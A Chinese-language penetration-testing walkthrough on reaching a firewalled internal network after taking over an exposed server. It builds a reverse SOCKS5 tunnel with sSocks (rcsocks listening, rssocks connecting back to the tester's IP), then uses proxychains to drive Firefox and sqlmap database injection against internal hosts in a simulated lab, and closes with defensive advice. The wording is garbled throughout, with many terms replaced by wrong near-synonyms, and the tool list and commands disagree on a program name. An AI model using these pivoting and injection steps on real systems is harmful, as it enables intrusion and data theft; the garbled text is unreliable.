跟著信息安然意識(shí)的晉升,愈來愈多的信息系統(tǒng)前端均擺設(shè)有防火墻,系統(tǒng)治理員按照營(yíng)業(yè)需求將內(nèi)部需要的辦事端口經(jīng)由過程端口映照等手段映照到公網(wǎng)中,如默許web辦事端口80、MSSQL數(shù)據(jù)庫(kù)辦事端口1433等。經(jīng)由過程擺設(shè)防火墻可以將信息系統(tǒng)內(nèi)部區(qū)域與公網(wǎng)邏輯隔分開來,操縱相干的策略有效避免或減輕來自外部的報(bào)復(fù)打擊。對(duì)滲入測(cè)試者來講,若何繞過防火墻的反對(duì)在內(nèi)網(wǎng)展開滲入測(cè)試成為亟需解決的標(biāo)題問題,本文介紹了在篡奪映照到外網(wǎng)的內(nèi)網(wǎng)辦事器權(quán)限后,若何操縱socks代辦署理反彈獲得內(nèi)網(wǎng)拜候權(quán)限。
1. sSocks
sSocks是一個(gè)socks代辦署理東西套裝,可用來開啟socks代辦署理辦事,撐持socks5驗(yàn)證,撐持IPV6和UDP,并供給反向socks代辦署理辦事,即將長(zhǎng)途計(jì)較機(jī)作為socks代辦署理辦事端,反彈回本地,極大年夜便利內(nèi)網(wǎng)的滲入測(cè)試,其最新版為0.0.13,可在以下鏈接處下載。http://sourceforge.net/projects/ssocks/下載解壓后,履行號(hào)令編譯。./configure &&make
編譯完成,進(jìn)進(jìn)src目次,會(huì)發(fā)現(xiàn)有nsocks、ssocksd、ssocks、rcsocks,其功能申明介紹以下:
法度 功能
nsocks 近似經(jīng)由過程Socks5代辦署理后的netcat,可用來測(cè)試socks server
ssocksd 用來開啟Socks5代辦署理辦事
ssocks 本地啟用Socks5辦事,并反彈到另外一IP地址
rcsocks 領(lǐng)受反彈過來的Socks5辦事,并轉(zhuǎn)向另外一端口
2.摹擬收集環(huán)境申明 本文摹擬的收集環(huán)境見下圖1,滲入測(cè)試端IP為192.168.10.50,內(nèi)網(wǎng)區(qū)域IP段192.168.206.0/24,內(nèi)網(wǎng)區(qū)域能正常拜候192.168.10.0/24,現(xiàn)假定已獲得192.168.206.130權(quán)限。

3.實(shí)施Socks代辦署理反彈
1)本地監(jiān)聽端口
在滲入測(cè)試端192.168.10.50履行./rcsocks -l 1088 -p 1080 -vv
等候長(zhǎng)途Socks5辦事器拜候本地1080端口,成立端口1080與本地端口1088的連接通道,如圖2。

2)開啟Socks5代辦署理辦事,反彈
在192.168.206.130上履行./rssocks -vv -s 192.168.10.50:1080
啟用Socks5辦事,反彈到192.168.10.50的端口1080上,如圖3。

此時(shí)在滲入測(cè)試端192.168.10.50可看到通道連接成功,結(jié)果如圖4。

4.操縱proxychains進(jìn)行Socks5代辦署理
經(jīng)由過程前面的步調(diào),Socks5代辦署理已成立完成了。因?yàn)樵跐B入測(cè)試過程中,需要利用不合的東西法度,而在各法度中別離建設(shè)Socks5代辦署理信息較為繁瑣,而部門法度其實(shí)不撐持建設(shè)Socks5代辦署理。為了簡(jiǎn)化這些把持,我們可以采取proxychains。
proxychains是一個(gè)代辦署理客戶端軟件,可以撐持幾近所有法度的代辦署理,如ssh,telnet,ftp等。操縱proxychains,法度能在代辦署理的環(huán)境下被加載運(yùn)行,而本身不需要具有代辦署理功能。利用前需要對(duì)proxychains進(jìn)行簡(jiǎn)單建設(shè),打開建設(shè)文件proxychains.conf(在BT5位于/etc/proxychains.conf),如圖5所示,在[ProxyList]處添加
socks5 127.0.0.1 1088

建設(shè)成功后若要啟動(dòng)法度,僅需要在啟動(dòng)法度號(hào)令前加上proxychains。
1)啟用瀏覽器firefox,在終端履行號(hào)令:proxychains firefox
firefox啟動(dòng)成功,拜候192.168.206.135的web辦事如圖6,經(jīng)由過程代辦署理拜候成功。

2)操縱sqlmap進(jìn)行注進(jìn):
先切換到sqlmap目次
cd /pentest/database/sqlmap
proxychains python sqlmap.py -u “存在SQL注進(jìn)的鏈接” –dbs
注進(jìn)成功,注進(jìn)點(diǎn)信息及獲得數(shù)據(jù)庫(kù)信息如圖7所示。

5.跋文
因?yàn)橄到y(tǒng)治理員的忽視或營(yíng)業(yè)需求而至,防火墻一般僅對(duì)由外向內(nèi)倡議的數(shù)據(jù)連接進(jìn)行嚴(yán)格鑒定、過濾、乃至阻斷而忽視由內(nèi)往外的連接。是以,在此種環(huán)境下,經(jīng)由過程攻下映照到公網(wǎng)的端口辦事,操縱反彈便可獲得內(nèi)網(wǎng)拜候權(quán)限,給內(nèi)網(wǎng)安然帶來極大年夜的威脅。在信息安然扶植與運(yùn)維過程中,不但要加強(qiáng)映照到公網(wǎng)的辦事安然,也要正視由內(nèi)到外連接的安然威脅。